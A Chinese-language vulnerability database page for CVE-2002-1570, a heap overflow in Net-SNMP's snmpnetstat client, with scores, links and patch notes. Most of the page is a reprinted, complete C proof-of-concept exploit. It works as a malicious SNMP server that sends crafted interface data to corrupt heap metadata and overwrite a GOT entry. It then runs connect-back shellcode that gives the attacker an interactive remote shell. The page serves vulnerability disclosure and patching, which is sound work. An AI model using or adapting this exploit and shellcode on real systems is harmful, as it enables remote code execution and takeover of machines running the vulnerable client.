CVE-2002-1570
CVSS7.5
发布时间 :2003-11-03 00:00:00
修订时间 :2008-09-05 16:30:56
NMCOES    

[原文]Heap-based buffer overflow in snmpnetstat for ucd-snmp 4.2.3 and earlier, and net-snmp, allows remote attackers to execute arbitrary code via multiple getnextrequest PDU messages with conflicting ifindex variables, which cause snmpnetstat to write variable data past the end of an array.


[CNNVD]Net-SNMP snmpnetstat远程基于堆溢出漏洞(CNNVD-200311-020)

        ucd-snmp 4.2.3及其早期版本中的snmpnetstat和net-snmp存在基于堆的缓冲区溢出漏洞。远程攻击者可以通过多个具有和ifindex变量冲突的getnextrequest PDU信息执行任意代码,该漏洞导致snmpnetstat写入变量数据越过数组末尾。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1570
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1570
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200311-020
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/7776
(VENDOR_ADVISORY)  XF  netsnmp-snmpnetstat-heap-overflow(7776)
http://www.securityfocus.com/bid/3780
(VENDOR_ADVISORY)  BID  3780
http://www.securityfocus.com/archive/1/248141
(VENDOR_ADVISORY)  BUGTRAQ  20020103 Heap overflow in snmpnetstat
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000696
(UNKNOWN)  CONECTIVA  CLA-2003:696

- 漏洞信息

Net-SNMP snmpnetstat远程基于堆溢出漏洞
高危 缓冲区溢出
2003-11-03 00:00:00 2006-09-22 00:00:00
远程  
        ucd-snmp 4.2.3及其早期版本中的snmpnetstat和net-snmp存在基于堆的缓冲区溢出漏洞。远程攻击者可以通过多个具有和ifindex变量冲突的getnextrequest PDU信息执行任意代码,该漏洞导致snmpnetstat写入变量数据越过数组末尾。

- 公告与补丁

        SCO have released an advisory (CSSA-2003-029.0) and fixes to address this issue in OpenLinux server and workstation. Affected users are advised to apply upgrades as soon as possible. Further information regarding the application of these upgrades is available in the referenced advisory. Fixes are linked below.
        Fixes are available:
        SCO OpenLinux Workstation 3.1.1
        
        SCO OpenLinux Server 3.1.1
        
        Net-SNMP ucd-snmp 4.2.3
        

- 漏洞信息 (21200)

Net-SNMP 4.2.3 snmpnetstat Remote Heap Overflow Vulnerability (EDBID:21200)
linux remote
2002-01-03 Verified
0 Juan M. de la Torre
N/A [点击下载]
source: http://www.securityfocus.com/bid/3780/info

Net-SNMP is a package of software tools related to the Simple Network Management Protocol. One of the tools included is snmpnetstat, which can be used to retrieve and display a variety of information about a remote SNMP host.

A heap overflow vulnerability exists in the snmpnetstat client. A SNMP host may return malicious information when a list of interfaces is requested. Under some circumstances, this will result in a heap overflow in the SNMP client. Exploitation of this vulnerability can result in the execution of abritary code as the snmpnetstat client.

Earlier versions of Net-SNMP may also be vulnerable. 

/*
 * Proof of concept xploit for snmpnetstat  
 *
 *  This causes snmpnetstat to overwrite the GOT entry
 * of endprotoent with the address of a connect-back
 * shellcode. The shellcode has some size limitations.
 *
 *  USE THIS AT YOUR OWN RISK
 *
 *  Send comments to Juan M. de la Torre / jmtorre@axiomasistemas.com
 *  http://www.axiomasistemas.com
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>

/*
 * Constants
 */
#define ASN_SEQUENCE      0x10
#define ASN_CONSTRUCTOR   0x20
#define ASN_INTEGER       0x02
#define ASN_OCTET_STRING  0x04
#define ASN_CONTEXT       0x80
#define ASN_OBJECTID      0x06

#define SNMP_GETREQUEST     (ASN_CONSTRUCTOR | ASN_CONTEXT)
#define SNMP_GETNEXTREQUEST (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x1)
#define SNMP_GETRESPONSE    (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x2)

enum exploit_states 
{ 
	STATE_LISTENING, STATE_QUITTING, STATE_WAITING_GETNEXT1,
	STATE_WAITING_GETNEXT2, STATE_WAITING_CONNECT
};

/*
 * Globals (I know globals sucks, but...)
 */
static int state;
static int session_id;
static struct sockaddr_in client;
static unsigned short bindport = 3234;
static int use_bind_addr = 0;
static unsigned long bind_addr;

/*
 * 101 bytes connect-back shellcode 
        xorl %eax, %eax
        pushl %eax            # push IPPROTO_IP
        inc %eax
        pushl %eax            # push SOCK_STREAM
        inc %eax
        jmp skip
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
skip:
        pushl %eax           # push AF_INET
        movl %esp, %ecx
        xorl %ebx, %ebx
        movb $0x1, %bl       # SYS_SOCKET
        movb $102, %al       # __NR_socketcall
        int $0x80
        movl %eax, %edx      # save fd in eax and edx
        movb $0x3, %bl       # SYS_CONNECT
        movl %eax, (%ebp)    # put fd as first argument
        pushl $0x0100007f    # fill struct sockaddr_in
        pushl $0x01010002
        movl %esp, 0x4(%ebp)
        movb $16, %al        # sizeof struct sockaddr_in
        movl %eax, 0x8(%ebp)
        movl %ebp, %ecx
        movb $102, %al       # __NR_socketcall
        int $0x80
        decb %bl # %ebx contains '2'
        movzbl %dl, %ecx
loop1:
        movb $6, %al         # __NR_close
        int $0x80
        xchgb %cl, %bl
        movb $63, %al        # __NR_dup2
        int $0x80
        xchgb %cl, %bl
        decb %bl
        jge loop1
        pushl $0x0068732f
        pushl $0x6e69622f
        movl %esp, %ebx
        xorl %edx, %edx
        pushl %edx
        pushl %ebx
        movl %esp, %ecx
        movb $0xb, %al       # __NR_execve
        int $0x80
 */
static u_char shellcode[] = {
        0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0xeb, 0x08, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90, 0x90, 0x50, 0x89, 0xe1, 0x31, 0xdb, 0xb3,
        0x01, 0xb0, 0x66, 0xcd, 0x80, 0x89, 0xc2, 0xb3, 0x03, 0x89, 0x45,
        0x00, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02, 0x00, 0x01, 0x01,
        0x89, 0x65, 0x04, 0xb0, 0x10, 0x89, 0x45, 0x08, 0x89, 0xe9, 0xb0,
        0x66, 0xcd, 0x80, 0xfe, 0xcb, 0x0f, 0xb6, 0xca, 0xb0, 0x06, 0xcd,
        0x80, 0x86, 0xcb, 0xb0, 0x3f, 0xcd, 0x80, 0x86, 0xcb, 0xfe, 0xcb,
        0x7d, 0xf0, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69,
        0x6e, 0x89, 0xe3, 0x31, 0xd2, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b,
        0xcd, 0x80
};

static void __attribute__ ((noreturn))
fatal (u_char *fmt, ...)
{
	va_list ap;

	va_start (ap, fmt);
	vfprintf (stderr, fmt, ap);
	va_end (ap);

	exit (EXIT_FAILURE);
}

/*
 * ASN.1 code
 */
static u_char *
asn_append_len (u_char *pkt, int len)
{
	if (len <= 0x7f)
	{
		/* short len */
		*pkt++ = (u_char) len;
		return (pkt);
	}

	if (len <= 0xff)
	{
		*pkt++ = 0x81;
		*pkt++ = (u_char) (len);
		return (pkt);
	}

	*pkt++ = 0x82;
	*pkt++ = (u_char) ((len & 0xff00) >> 8);
	*pkt++ = (u_char) (len & 0xff);

	return (pkt);
}

static u_char *
asn_append_sequence (u_char *pkt, int len)
{
	*pkt++ = (ASN_SEQUENCE | ASN_CONSTRUCTOR);
	pkt = asn_append_len (pkt, len);
	return (pkt);
}

static u_char *
asn_append_objectid (u_char *pkt, u_char *str, int nlen)
{
	int i = 0;
	
	*pkt++ = ASN_OBJECTID;
	pkt = asn_append_len (pkt, nlen);
	
	while (nlen--)
		*pkt++ = str[i++];

	return (pkt);
}

static u_char *
asn_append_octet_string (u_char *pkt, u_char *str, int nlen)
{
	int i = 0;
	
	*pkt++ = ASN_OCTET_STRING;
	pkt = asn_append_len (pkt, nlen);
	
	while (nlen--)
		*pkt++ = str[i++];

	return (pkt);
}

static u_char *
asn_append_integer (u_char *pkt, unsigned long n, int nlen)
{
	if (nlen != 4 && nlen != 2 && nlen != 1)
		fatal ("error: bad nlen in asn_append_integer(): %i\n",
				nlen);

	*pkt++ = ASN_INTEGER;
	*pkt++ = (u_char) (nlen & 0xff);

	switch (nlen)
	{
	case 1:
		*pkt++ = (u_char) (n & 0xff);
		break;

	case 2:
		*pkt++ = (u_char) ((n & 0xff00) >> 8);
		*pkt++ = (u_char) (n & 0xff);
		break;
		
	case 4:
		*pkt++ = (u_char) ((n & 0xff000000) >> 24);
		*pkt++ = (u_char) ((n & 0xff0000) >> 16);
		*pkt++ = (u_char) ((n & 0xff00) >> 8);
		*pkt++ = (u_char) (n & 0xff);
		break;
	}

	return (pkt);
}

static u_char *
asn_get_octet_string (u_char *pkt, u_char *dst)
{
	int len, i = 0;

	if (*pkt++ != ASN_OCTET_STRING)
		fatal ("error: error while talking to client\n");

	len = *pkt++;

	while (len--)
		dst[i++] = *pkt++;

	return (pkt);
}

static u_char *
asn_get_objectid (u_char *pkt, u_char *dst)
{
	int len, i = 0;

	if (*pkt++ != ASN_OBJECTID)
		fatal ("error: error while talking to client\n");

	len = *pkt++;

	while (len--)
		dst[i++] = *pkt++;

	return (pkt);
}

static u_char *
asn_get_integer (u_char *pkt, int *pdst)
{
	int len, nbits, dst;
	
	if (*pkt++ != ASN_INTEGER)
		fatal ("error: error while talking to client\n");

	len = *pkt++;
	if (len != 1 && len != 2 && len != 4)
		fatal ("error: incorrent integer len received from client\n");
		
	switch (len)
	{
	case 4:
		nbits = 24; break;
	case 2:
		nbits = 8; break;
	case 1:
		nbits = 0; break;
	}

	dst = 0;
	while (len--)
	{
		dst |= ((*pkt++) << nbits);
		nbits -= 8;
	}

	*pdst = dst;

	return (pkt);
}

static unsigned long
get_source_addr (struct sockaddr_in *s_in)
{
	int sd, slen;
	struct sockaddr_in me;
	
	if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
		fatal ("socket(): %s\n", strerror (errno));
	
	if (connect (sd, (struct sockaddr *) s_in, sizeof (struct sockaddr_in)) < 0)
		fatal ("connect(): %s\n", strerror (errno));

	slen = sizeof (me);
	if (getsockname (sd, (struct sockaddr *) &me, &slen) < 0)
		fatal ("getsockname(): %s\n", strerror (errno));

	close (sd);
	
	return ((unsigned long) me.sin_addr.s_addr);
}

typedef struct
{
	unsigned long psize;
	unsigned long size; /* 0x1 -> PREV_INUSE */
	unsigned long fd;
	unsigned long bk;
} chunk_t;

#define PREV_INUSE 0x1

static u_char *
make_evil_str (int *plen)
{
	int len;
	static u_char buf[BUFSIZ];
	chunk_t *c;
	unsigned long *ip;	
	unsigned short *port;

	memset (buf, 0x90, BUFSIZ);

	c = (chunk_t *) (buf - 4);

	/* leave psize of first chunk unused */
	c->size = 0x16UL;
	c->fd = 0x807dbe8;
	c->bk = 0x8050df0 - 8;
	
	c++;
	c->size = 0UL; /* zero PREV_INUSE bit */

	len = 12 + 16 + 14 + sizeof (shellcode);
	memcpy (buf + 16 + 4, shellcode, sizeof (shellcode));

	ip = (unsigned long *) (buf + 16 + 4 + 35);
	*ip = (use_bind_addr ? bind_addr : get_source_addr (&client));

	port = (unsigned short *) (buf + 16 + 4 + 42);
	*port = htons (bindport);

	*plen = len;
	return (buf);
}

/*
 * SNMP code
 */
static void
snmp_waiting_getnext2 (int sd, u_char *buf)
{
	u_char *ptr = buf;
	int version, foo;
	u_char comm[BUFSIZ], resp[BUFSIZ];
	u_char oids[11][BUFSIZ];
	int i, len, evil_str_len;
	u_char *evil_str = NULL;

        if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
                fatal ("error: protocol error\n");

        ptr += 2;

        ptr = asn_get_integer (ptr, &version);
        if (version != 0)
                fatal ("error: client uses a version different from 0\n");

        memset (comm, 0, sizeof (comm));
        ptr = asn_get_octet_string (ptr, comm);

        if (*ptr++ != SNMP_GETNEXTREQUEST)
                fatal ("error: protocol error\n");

        ptr += 2; /* skip len */

        ptr = asn_get_integer (ptr, &session_id);

        ptr = asn_get_integer (ptr, &foo);
        ptr = asn_get_integer (ptr, &foo);

        if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
                fatal ("error: protocol error\n");
        ptr += 2;

	for (i = 0; i < 11; i++)
	{
		if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
			fatal ("error: protocol error\n");
		ptr++;
		ptr = asn_get_objectid (ptr, oids[i]);
		ptr += 2;
	}

        memset (resp, 0, sizeof (resp));
        ptr = resp;
	
	evil_str = make_evil_str (&evil_str_len);

	/* calculate len of the response */
	len = 3 + (2 + strlen (comm)) + 4 + 6 + 3 + 3 + 4;
	len += (11 * 14) + 40 + evil_str_len + 2;

        ptr = asn_append_sequence (ptr, len);
        ptr = asn_append_integer (ptr, 0, 1);
        ptr = asn_append_octet_string (ptr, comm, strlen (comm));
     
	*ptr++ = SNMP_GETRESPONSE;
	/* calculate len of the getresponse PDU */
	len -= (3 + (2 + strlen (comm)) + 4);
	ptr = asn_append_len (ptr, len);

        ptr = asn_append_integer (ptr, session_id, 4);
        ptr = asn_append_integer (ptr, 0, 1);
        ptr = asn_append_integer (ptr, 0, 1);

	/* calculate len of data */
	len -= (6 + 3 + 3 + 4);
        ptr = asn_append_sequence (ptr, len);

	for (i = 0; i < 11; i++)
	{
		len = 12;

		oids[i][9]++;

		switch (oids[i][8])
		{
		case 1: /* ifindex */
			len += 4;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			ptr = asn_append_integer (ptr, 2, 1);
			break;

		case 2: /* ifname */
			len += 3 + evil_str_len;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			ptr = asn_append_octet_string (ptr, evil_str, evil_str_len);
			break;

		case 4: /* ifmtu */
		case 8: /* ifoperstatus */
			len += 4;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			ptr = asn_append_integer (ptr, 2, 2);
			break;

		case 0xb:   /* INUCASTPKTS */
		case 0xc:   /* INNUCASTPKTS */
		case 0xe:   /* INERRORS */
		case 0x11:  /* OUTUCASTPKTS */
		case 0x12:  /* OUTNUCASTPKTS */
		case 0x14:  /* OUTERRORS */
			len += 4;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			*ptr++ = 0x41;
			*ptr++ = 2;
			*ptr++ = 1;
			*ptr++ = 1;
			break;
			
		case 0x15:  /* OUTQLEN */
			len += 3;
			ptr = asn_append_sequence (ptr, len);
			ptr = asn_append_objectid (ptr, oids[i], 10);
			*ptr++ = 0x42;
			*ptr++ = 1;
			*ptr++ = 0;
			break;
		}
	}

        len = (ptr - resp);
	
        if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
                perror ("sendto()"), exit (EXIT_FAILURE);

        state = STATE_WAITING_CONNECT;
}

static void
snmp_waiting_getnext1 (int sd, u_char *buf)
{
	u_char *ptr = buf;
	u_char len;
	int version, foo;
	u_char comm[BUFSIZ], oid1[BUFSIZ], oid2[BUFSIZ], oid3[BUFSIZ];
	u_char resp[BUFSIZ];

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");

	len = *ptr++;

	ptr = asn_get_integer (ptr, &version);
	if (version != 0)
		fatal ("error: client uses a version different from 0\n");

	memset (comm, 0, sizeof (comm));
	ptr = asn_get_octet_string (ptr, comm);
		
	if (*ptr++ != SNMP_GETNEXTREQUEST)
		fatal ("error: protocol error\n");

	ptr++; /* skip len */
	
	ptr = asn_get_integer (ptr, &session_id);

	ptr = asn_get_integer (ptr, &foo);
	ptr = asn_get_integer (ptr, &foo);

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;
	ptr = asn_get_objectid (ptr, oid1);
	if (memcmp (oid1, "\x2B\x06\x01\x02\x01\x04\x14\x01\x02\x00\x00\x00\x00", 0x0D) != 0)
		fatal ("error: protocol error\n");
	ptr += 2;

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;
	ptr = asn_get_objectid (ptr, oid2);
	if (memcmp (oid2, "\x2B\x06\x01\x02\x01\x04\x14\x01\x01\x00\x00\x00\x00", 0x0D) != 0)
		fatal ("error: protocol error\n");
	ptr += 2;

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;
	ptr = asn_get_objectid (ptr, oid3);
	if (memcmp (oid3, "\x2B\x06\x01\x02\x01\x04\x14\x01\x03\x00\x00\x00\x00", 0x0D) != 0)
		fatal ("error: protocol error\n");

	memset (resp, 0, sizeof (resp));
	ptr = resp;

	ptr = asn_append_sequence (ptr, 0x54 + 9);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_octet_string (ptr, comm, strlen (comm));
	*ptr++ = SNMP_GETRESPONSE;
	*ptr++ = 0x47 + 9;
	ptr = asn_append_integer (ptr, session_id, 4);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_integer (ptr, 0, 1);
	
	ptr = asn_append_sequence (ptr, 0x39 + 9);
	
	ptr = asn_append_sequence (ptr, 0x11 + 1);
	ptr = asn_append_objectid (ptr, oid1, 0x0D);
	ptr = asn_append_integer (ptr, 1, 1);
	
	ptr = asn_append_sequence (ptr, 0x11 + 4);
	ptr = asn_append_objectid (ptr, oid2, 0x0D);
	ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
	
	ptr = asn_append_sequence (ptr, 0x11 + 4);
	ptr = asn_append_objectid (ptr, oid3, 0x0D);
	ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
	
	len = (ptr - resp);

	if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
		perror ("sendto()"), exit (EXIT_FAILURE);

	state = STATE_WAITING_GETNEXT2;
}

static void
snmp_listening (int sd, u_char *buf)
{
	u_char *ptr = buf;
	u_char len;
	int version, foo;
	u_char comm[BUFSIZ], oid[BUFSIZ];
	u_char resp[BUFSIZ];
	
	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");

	len = *ptr++;

	ptr = asn_get_integer (ptr, &version); 
	if (version != 0)
		fatal ("error: client uses a version different from 0\n");

	memset (comm, 0, sizeof (comm));
	ptr = asn_get_octet_string (ptr, comm);
		
	if (*ptr++ != SNMP_GETREQUEST)
		fatal ("error: protocol error\n");

	ptr++; /* skip len */

	ptr = asn_get_integer (ptr, &session_id);
	ptr = asn_get_integer (ptr, &foo);
	ptr = asn_get_integer (ptr, &foo);

	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;
	if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
		fatal ("error: protocol error\n");
	ptr++;

	ptr = asn_get_objectid (ptr, oid);
	if (memcmp (oid, "\x2B\x06\x01\x02\x01\x02\x01\x00", 8) != 0)
		fatal ("error: protocol error\n");
	
	memset (resp, 0, sizeof (resp));
	ptr = resp;

	ptr = asn_append_sequence (ptr, 42);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_octet_string (ptr, comm, strlen (comm));
	*ptr++ = SNMP_GETRESPONSE;
	*ptr++ = 0x1D;
	ptr = asn_append_integer (ptr, session_id, 4);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_integer (ptr, 0, 1);
	ptr = asn_append_sequence (ptr, 0x0F);
	ptr = asn_append_sequence (ptr, 0x0D);
	ptr = asn_append_objectid (ptr, oid, 8);
	ptr = asn_append_integer (ptr, 1, 1);
	
	len = (ptr - resp);

	if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
		perror ("sendto()"), exit (EXIT_FAILURE);

	state = STATE_WAITING_GETNEXT1;
}

static void
bindshell (int sd)
{
	struct pollfd fds[2];
	u_char *cmds = "pwd; id; uname -a\n";
	u_char buf[BUFSIZ];
	int n;
	
	write (sd, cmds, strlen (cmds));

	while (1)
	{
		memset (&fds, 0, sizeof (fds));

		fds[0].events = fds[1].events = POLLIN;
		fds[0].fd = sd;
		fds[1].fd = 0;

		if (poll (fds, 2, -1) < 0)
			fatal ("poll(): %s\n", strerror (errno));

		if (fds[0].revents & (POLLERR | POLLNVAL | POLLHUP))
			fatal ("connection closed\n");

		if (fds[0].revents & POLLIN)
		{
			n = read (fds[0].fd, buf, BUFSIZ);
			if (n < 1)
				fatal ("connection closed\n");
			write (1, buf, n);
		}
		
		if (fds[1].revents & POLLIN)
		{
			n = read (fds[1].fd, buf, BUFSIZ);
			write (sd, buf, n);
		}
	}
}

static void
snmp_waiting_connect (void)
{
	int sd, val, fsd, slen;
	struct sockaddr_in s_in;
	struct pollfd pfd;
	
	if ((sd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
		fatal ("socket(): %s\n", strerror (errno));

	memset (&s_in, 0, sizeof (s_in));
	s_in.sin_family = AF_INET;
	s_in.sin_addr.s_addr = (use_bind_addr ? bind_addr : INADDR_ANY);
	s_in.sin_port = htons (bindport);

	if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
		fatal ("bind(): %s\n", strerror (errno));

	listen (sd, 5);

	fprintf (stderr, "awaiting connection from client...\n");

	memset (&pfd, 0, sizeof (pfd));
	pfd.fd = sd;
	pfd.events = POLLIN;

	if ((val = poll (&pfd, 1, 20 * 1000)) < 0)
		fatal ("poll(): %s\n", strerror (errno));

	if (val < 1 || pfd.revents & (POLLERR | POLLNVAL | POLLHUP) || !(pfd.revents & POLLIN))
		fatal ("no connection from client in 20 seconds. aborting\n");

	memset (&s_in, 0, sizeof (s_in));
	slen = sizeof (s_in);
	fsd = accept (sd, &s_in, &slen);
	close (sd);

	if (fsd < 0)
		fatal ("accept(): %s\n", strerror (errno));

	fprintf (stderr, "received connection from %s:%i\n",
			inet_ntoa (s_in.sin_addr),
			htons (s_in.sin_port));

	bindshell (fsd);
}

static void
snmp_proccess (int sd, u_char *buf)
{
	switch (state)
	{
	case STATE_LISTENING:
		snmp_listening (sd, buf);
		break;

	case STATE_WAITING_GETNEXT1:
		snmp_waiting_getnext1 (sd, buf);
		break;

	case STATE_WAITING_GETNEXT2:
		snmp_waiting_getnext2 (sd, buf);
		break;
	}
}

static void __attribute__ ((noreturn))
usage (u_char *p)
{
	fprintf (stderr, "Usage: %s [options]\n", p);
	fprintf (stderr, "options:\n"
			"-p <port>\tsnmp port to listen on\n"
			"-P <port>\tconnect-back port\n"
			"-a <ip>\t\tbind socket to this address\n"
			"-h\t\tshow this\n\n");
	exit (EXIT_FAILURE);
}

int
main (int argc, char *argv[])
{
	int sd, slen;
	struct sockaddr_in s_in;
	u_char buf[BUFSIZ];
	unsigned short snmp_port = 161;
	unsigned long snmp_ip = INADDR_ANY;
	char opt;
	
	fprintf (stderr, "\nproof of concept snmpnetstat xploit - Juan M. de la Torre <jmtorre@axiomasistemas.com>\n\n");

	while ((opt = getopt (argc, argv, "p:P:a:h")) != EOF)
		switch (opt)
		{
		case 'p':
			snmp_port = atoi (optarg);
			break;

		case 'P':
			bindport = atoi (optarg);
			break;
		
		case 'a':
			if (inet_aton (optarg, (struct in_addr *) &snmp_ip) == 0)
				fatal ("%s is not a valid ip address\n", optarg);
			bind_addr = snmp_ip;
			use_bind_addr = 1;
			break;
		
		case 'h': /* fallthrough */
		default:
			usage (argv[0]);
		}

	fprintf (stderr, "use -h to show usage\n");

	if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
		perror ("socket()"), exit (EXIT_FAILURE);

	memset (&s_in, 0, sizeof (s_in));
	s_in.sin_family = AF_INET;
	s_in.sin_port = htons (snmp_port);
	s_in.sin_addr.s_addr = snmp_ip;

	if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
		perror ("bind()"), exit (EXIT_FAILURE);

	state = STATE_LISTENING;

	fprintf (stderr, "bound socket to %s:%i\n", inet_ntoa (s_in.sin_addr), snmp_port);

	while (1)
	{
		memset (buf, 0, sizeof (buf));
		slen = sizeof (client);
		if (recvfrom (sd, buf, sizeof (buf), 0, (struct sockaddr *) &client, &slen) < 1)
			perror ("recvfrom()"), exit (EXIT_FAILURE);

		fprintf (stderr, "procesing snmp packet from %s:%i\n",
				inet_ntoa (client.sin_addr),
				htons (client.sin_port));

		snmp_proccess (sd, buf);

		if (state == STATE_QUITTING)
			break;

		if (state == STATE_WAITING_CONNECT)
		{
			snmp_waiting_connect ();
			break;
		}
	}

	close (sd);
	
	exit (EXIT_SUCCESS);
}


		

- 漏洞信息

13455
Net-SNMP snmpnetstat Tool Interface List Request Parsing Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public Third-party Verified

- 漏洞描述

- 时间线

2002-01-03 Unknow
2002-01-03 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, a patch has been released to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Net-SNMP snmpnetstat Remote Heap Overflow Vulnerability
Boundary Condition Error 3780
Yes No
2002-01-03 12:00:00 2009-07-11 09:56:00
Discovered by Juan M. de la Torre <jmtorre@axiomasistemas.com> and published in an Axioma advisory on December 3, 2001.

- 受影响的程序版本

SCO OpenLinux Workstation 3.1.1
SCO OpenLinux Server 3.1.1
Net-SNMP ucd-snmp 4.2.3
+ Conectiva Linux 8.0
+ Conectiva Linux 7.0

- 漏洞讨论

Net-SNMP is a package of software tools related to the Simple Network Management Protocol. One of the tools included is snmpnetstat, which can be used to retrieve and display a variety of information about a remote SNMP host.

A heap overflow vulnerability exists in the snmpnetstat client. A SNMP host may return malicious information when a list of interfaces is requested. Under some circumstances, this will result in a heap overflow in the SNMP client. Exploitation of this vulnerability can result in the execution of abritary code as the snmpnetstat client.

Earlier versions of Net-SNMP may also be vulnerable.

- 漏洞利用

An exploit has been provided by Juan M. de la Torre &lt;jmtorre@axiomasistemas.com&gt;:

- 解决方案

SCO have released an advisory (CSSA-2003-029.0) and fixes to address this issue in OpenLinux server and workstation. Affected users are advised to apply upgrades as soon as possible. Further information regarding the application of these upgrades is available in the referenced advisory. Fixes are linked below.

Fixes are available:


SCO OpenLinux Workstation 3.1.1

SCO OpenLinux Server 3.1.1

Net-SNMP ucd-snmp 4.2.3

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站